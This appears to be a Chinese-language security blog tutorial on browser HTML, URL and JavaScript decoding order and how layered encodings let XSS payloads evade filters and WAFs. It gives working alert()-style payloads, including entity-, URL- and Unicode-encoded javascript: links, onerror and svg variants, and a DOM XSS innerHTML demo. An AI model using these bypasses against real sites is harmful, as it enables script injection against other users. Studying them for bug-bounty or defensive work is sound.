0%

xss 之浏览器的编码与解码

xss 之浏览器的编码和解码

在做一些 xss 的过滤和绕过时,总是使用各种编码绕过,有时候是 unicode,有时候是 urlencode,有时候是 HTML 实体化编码,但是很多时候都是直接 fuzz,对于存在 xss 的漏洞点,并没有清楚的分析和认识,对于浏览器的编码和解码没有系统的认识,这会导致我们的 payload 理解不到位,从而错失很多个 src 中的 xss 漏洞。为了以后能更好的挖掘 xss 漏洞和更快的 fuzz 出过 waf 手法。今天就来详细梳理下浏览器的编码和解码过程。

浏览器工作过程

我们都知道网上有很多人写了一个”url 点击后电脑都做了什么”,如果感兴趣可以去看看。这里不在赘述请求服务端的流程,这里主要梳理的是一个页面响应后浏览器是如何渲染给我们看的。

浏览器是可以解析 html、svg、xhtml 的,我们日常使用的网页也基本都是这三种格式,浏览器首先将响应的 HTML 类文本解析为 DOM 树。当然 CSS 解析也会解析为 CSS 的 TREE,但是这里不讨论 CSS。我们下面都以 HTML 举例

浏览器通过解析 HTML 为 DOM 树并通过开始标签、结束标签和标签的属性、方法等根据算法进行解析的。所以浏览器首先是解析 HTML,然后根据标签构建 DOM 树,此时浏览器是没办法识别实体编码的那些内容的,构建完 dom 树后,浏览器才会对标签里的内容进行解析,然后遇到实体编码的话会解码。所以实体化编码的标签是不会构建为节点的(所以实体化编码很多时候都有用)。

浏览器通过上述的步骤来解析各个标签,最终结合 javascript 的引擎和 CSS 的引擎完成对整个页面的操作和渲染。

浏览器的解码顺序

页面响应后浏览器拿到了 HTML 的页面文本,浏览器首先根据节点构建 DOM 树,构建的时候是不会进行解码的,所以如果你输入一个

1
<img src&#x3d;"http://xxx.com/1.jpg">

即使 http://xxx.com/1.jpg 真的是一张图片也可以访问到,这个 img 标签也是显示不出来的,因为构建的时候没有解码,src 不会被认为是一个链接,也就没有了这个属性。

javascript 在 html 解析中也存在一定的作用,会参与其 dom 树的构建。所以这并不是线性顺序的。比如 dom 型 xss,但是大方向上,解析还是先 html 的解析。

DOM 节点建立起来以后就要进行解析了,比如他遇到 script 标签就需要 JavaScript 来解析,当遇到 style 就给 css 的解析器。src、href 这种链接形式的会调用 URL 解码、同时对于一些伪协议,也会调用相应的解析器。

比如下面这个例子:

1
<a href="javascript:%61%6c%65%72%74">123</a>

这个例子是可以弹窗的,因为 dom 树构建后,解析过程中发现 href 为一个链接,会进行 urldecode,然后因为 javascript 伪协议,会交给 javascript 来解析,最终造成代码执行。

当然 javascript 本身就支持 unicode, 所以下面这样也是可以弹窗的:

1
2
<a href="javascript:%5c%75%30%30%36%31%6c%65%72%74(123);">12345</a>
<!-- 需要注意的是括号、引号 不能被unicode替代,否则js不会认为这是需要解码的方法或者字段,只会被当作字符串。 -->

下面我们用两张图来看下浏览器工作和解码的流程:

图一 DOM 树:

![image-20221026102503733](/Users/geez/Library/Application Support/typora-user-images/image-20221026102503733.png)

图二构建流程:

![image-20221026102859384](/Users/geez/Library/Application Support/typora-user-images/image-20221026102859384.png)

如上面两个图所示,HTML 解析构建 DOM->script 参与构建 DOM->DOM TREE 构建完后会进行 HTML 解码 ->rendering 渲染(如果中间遇到 URL 会进行 URLDECODE)

既然了解了解析的流程,那么我们也得了解下可以自解码的编码有哪些?

HTML 有两种编码方式:进制编码和实体编码。

1
2
3
&lt;
&#60
&#x61

JavaScript 自解码有三种:Unicode,十进制,十六进制

注意:在 js 中,单引号,双引号和圆括号等属于控制字符,编码后将无法识别,所以下面这种无法执行:

1
2
3
4
# 不可以执行
<img src="1" onerror=\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029>
#可以执行
<img src="1" onerror=\u0061\u006c\u0065\u0072\u0074('\u0031')>

URL 只有一种编码方式就是 URL,这个很好理解。

在实践中理解

下面是一个常用的 xss payload

1
<a href="javascript:alert(123)">1</a>

因为 javascript 解析器可以解析 unicode,所以我们可以变种:

1
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(123)">1</a>

因为 href 是一个链接所以肯定会被 URL 解码,所以我们可以变种

1
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34%28%31%32%33%29">1</a>

现在因为构建 DOM 树的时候会对 HTML 进行自解码,所以我们可以变种

1
<a href="&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0025;&#x0035;&#x0063;&#x0025;&#x0037;&#x0035;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0036;&#x0025;&#x0033;&#x0031;&#x0025;&#x0035;&#x0063;&#x0025;&#x0037;&#x0035;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0036;&#x0025;&#x0036;&#x0033;&#x0025;&#x0035;&#x0063;&#x0025;&#x0037;&#x0035;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0036;&#x0025;&#x0033;&#x0035;&#x0025;&#x0035;&#x0063;&#x0025;&#x0037;&#x0035;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0037;&#x0025;&#x0033;&#x0032;&#x0025;&#x0035;&#x0063;&#x0025;&#x0037;&#x0035;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0037;&#x0025;&#x0033;&#x0034;&#x0025;&#x0032;&#x0038;&#x0025;&#x0033;&#x0031;&#x0025;&#x0033;&#x0032;&#x0025;&#x0033;&#x0033;&#x0025;&#x0032;&#x0039;">3333</a>

现在我们对于这种浏览器的编码有个基本的认识了,但是前面说到这个 javascript 可以操纵 dom,进行动态生成节点,也是产生 domxss 的重要原因,下面这个解码就比较复杂了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<img id="a" src="http://baidu.com">
<!-- <input value="修改URL" id="b"> --><input type="button" value="确定" onclick=modify_src()>
<script type="text/javascript">
function modify_src(value){
var a = document.getElementById("a");
var b = document.getElementById("b");
// 用户可控点value
a.innerHTML="<img src=# onerror=alert(123)>";
}
// // html编码函数
// function htmlEncodeByRegExp(str) {
// var temp = "";
// if (str.length == 0) return "";
// temp = str.replace(/&/g, "&amp;");
// temp = temp.replace(/</g, "&lt;");
// temp = temp.replace(/>/g, "&gt;");
// temp = temp.replace(/\'/g, "&#39;");
// temp = temp.replace(/\"/g, "&quot;");
// return temp;
// }
</script>
</body>
</html>
</body>
</html>

看看上面这个如果 innerHTML 可控会有多少种编码方式?如果你真的理解了这里就不再赘述,应该是多层 unicode 和 HTML 编码可以混用依然执行弹窗。

所以,得出结论,在大多数情况下如果必须插入标签才能触发的 xss 实体化编码还是好用的,当然,具体情况要具体分析

另外我们在一些过滤绕过中,发现 svg 的出场次数也挺高的,这是因为 svg 是可以内嵌其他标签,同时会被 html 解码

1
2
<svg>
<script>&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0031;&#x0031;&#x0031;&#x0029;</script></svg>

总结

HTML 解析、CSS 解析、JS 解析和 URL 解析。这四个解析器的解析顺序搞懂,XSS 的编码绕过问题就比较容易理解了,遇到一些 SRC 的 xss 点也可以绕过的更从容一点。

Refrence


采用署名 - 非商业性使用 - 相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」